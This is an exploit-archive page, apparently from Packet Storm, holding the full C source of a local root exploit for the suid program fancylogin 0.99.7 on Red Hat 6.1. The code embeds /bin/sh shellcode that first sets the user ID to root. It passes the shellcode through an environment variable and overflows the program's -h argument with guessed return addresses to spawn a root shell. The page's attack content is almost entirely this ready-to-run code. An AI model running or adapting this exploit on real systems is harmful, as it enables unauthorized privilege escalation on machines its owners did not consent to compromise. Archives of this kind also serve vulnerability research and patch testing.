exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

hhp-fancy_smash.c

hhp-fancy_smash.c
Posted Dec 31, 2000
Authored by hhp, Icesk | Site hhp-programming.net

Fancylogin v0.99.7 local root exploit. Tested on Red Hat 6.1.

tags | exploit, local, root
systems | linux, redhat
SHA-256 | 6a6d636b942d55b3a7cd1edceb5b8ba35821afd8196ce14ad6e2f04d65c3d913

hhp-fancy_smash.c

Change Mirror Download
 /*
* (fancylogin 0.99.7) (suid) local root exploit.
* Author: icesk of hhp. :: Greets to ttl.
* www.hhp-programming.net / icesk@hhp-programming.net
* Tested on redhat 6.1.
*
* bash$ ./hhp-fancy_smash.c
* esp: bffffcc8 offset: -740 return: bfffffb4 align: 0
* This is fancylogin 0.99.7
* <http://fancylogin.sourceforge.net/>.
* bash# exit
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define bsize 700
#define offset -710

char buffer[bsize * 6];
char *get_sp() { asm("movl %esp,%eax"); }

main(int n, char **v) {
int i, off, align; align = 0;
if(n > 1) { off = atoi(v[1]); align = atoi(v[2]); }
else { off = offset; align = 0; }
printf("esp: %0x offset: %d return: %0x align: %d\n", get_sp(), off, get_sp()
- off, align);

for(i=0;i<align;i++) buffer[i] = 'A';
for (i=align;i<(bsize * 5)-4;i+=4)
*(char **)&buffer[i] = get_sp() - off;

memset(buffer, '\x1b', bsize * 1);
setenv("shellcode", shellcode, 1);
execl("/bin/fancylogin", "fancylogin", "-h", buffer, 0);
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    35 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close